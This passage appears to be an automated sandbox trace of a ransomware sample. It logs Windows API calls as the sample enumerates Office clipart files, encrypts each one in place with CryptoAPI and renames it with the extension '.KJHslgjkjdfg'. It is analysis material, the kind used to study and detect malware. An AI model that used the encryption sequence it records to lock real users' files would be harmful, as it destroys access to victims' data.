(in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c80, dwBufLen=0x9c80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c80) returned 1 [0212.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.041] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9c80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9c80, lpOverlapped=0x0) returned 1 [0212.041] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.041] SetEndOfFile (hFile=0x130) returned 1 [0212.097] GetProcessHeap () returned 0x990000 [0212.097] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.097] GetProcessHeap () returned 0x990000 [0212.097] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.097] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.kjhslgjkjdfg")) returned 1 [0212.099] CloseHandle (hObject=0x130) returned 1 [0212.099] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8d0400, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8d0400, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00629_.WMF", cAlternateFileName="")) returned 1 [0212.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.102] GetProcessHeap () returned 0x990000 [0212.102] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.102] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.102] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0212.104] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.104] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.104] GetProcessHeap () returned 0x990000 [0212.104] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.105] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.105] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.105] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.105] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.105] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.105] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.105] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.105] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.105] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.106] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xfe6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xfe6, lpOverlapped=0x0) returned 1 [0212.106] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xff0, dwBufLen=0xff0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xff0) returned 1 [0212.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.106] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xff0, lpOverlapped=0x0) returned 1 [0212.106] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.106] SetEndOfFile (hFile=0x130) returned 1 [0212.109] GetProcessHeap () returned 0x990000 [0212.109] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.109] GetProcessHeap () returned 0x990000 [0212.109] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.kjhslgjkjdfg")) returned 1 [0212.111] CloseHandle (hObject=0x130) returned 1 [0212.111] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a9b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x752a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5006, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00633_.WMF", cAlternateFileName="")) returned 1 [0212.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.112] GetProcessHeap () returned 0x990000 [0212.112] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.112] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.113] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0212.115] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.115] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.115] GetProcessHeap () returned 0x990000 [0212.115] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.115] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.115] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.115] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.116] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.116] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.116] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.116] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.116] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.116] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.117] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5006, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5006, lpOverlapped=0x0) returned 1 [0212.118] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5010, dwBufLen=0x5010 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5010) returned 1 [0212.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.118] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5010, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5010, lpOverlapped=0x0) returned 1 [0212.119] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x50e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.119] SetEndOfFile (hFile=0x130) returned 1 [0212.122] GetProcessHeap () returned 0x990000 [0212.122] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.122] GetProcessHeap () returned 0x990000 [0212.122] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.kjhslgjkjdfg")) returned 1 [0212.130] CloseHandle (hObject=0x130) returned 1 [0212.131] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3039c00, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3039c00, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x1aba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00638_.WMF", cAlternateFileName="")) returned 1 [0212.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.134] GetProcessHeap () returned 0x990000 [0212.134] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.134] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.135] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0212.137] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.137] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.137] GetProcessHeap () returned 0x990000 [0212.137] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.137] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.137] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.137] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.137] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.137] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.137] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.137] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.138] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.138] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.138] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1aba, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1aba, lpOverlapped=0x0) returned 1 [0212.139] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ac0, dwBufLen=0x1ac0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ac0) returned 1 [0212.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.139] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ac0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ac0, lpOverlapped=0x0) returned 1 [0212.139] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.139] SetEndOfFile (hFile=0x130) returned 1 [0212.142] GetProcessHeap () returned 0x990000 [0212.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.142] GetProcessHeap () returned 0x990000 [0212.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.kjhslgjkjdfg")) returned 1 [0212.144] CloseHandle (hObject=0x130) returned 1 [0212.144] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53153500, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53153500, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00656_.WMF", cAlternateFileName="")) returned 1 [0212.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.146] GetProcessHeap () returned 0x990000 [0212.146] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.146] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.146] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0212.148] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.148] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.148] GetProcessHeap () returned 0x990000 [0212.148] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.148] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.149] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.149] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.149] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.149] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.149] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.149] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.149] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.149] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.149] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x584, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x584, lpOverlapped=0x0) returned 1 [0212.149] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x590, dwBufLen=0x590 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x590) returned 1 [0212.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.150] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x590, lpOverlapped=0x0) returned 1 [0212.150] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.150] SetEndOfFile (hFile=0x130) returned 1 [0212.153] GetProcessHeap () returned 0x990000 [0212.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.153] GetProcessHeap () returned 0x990000 [0212.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 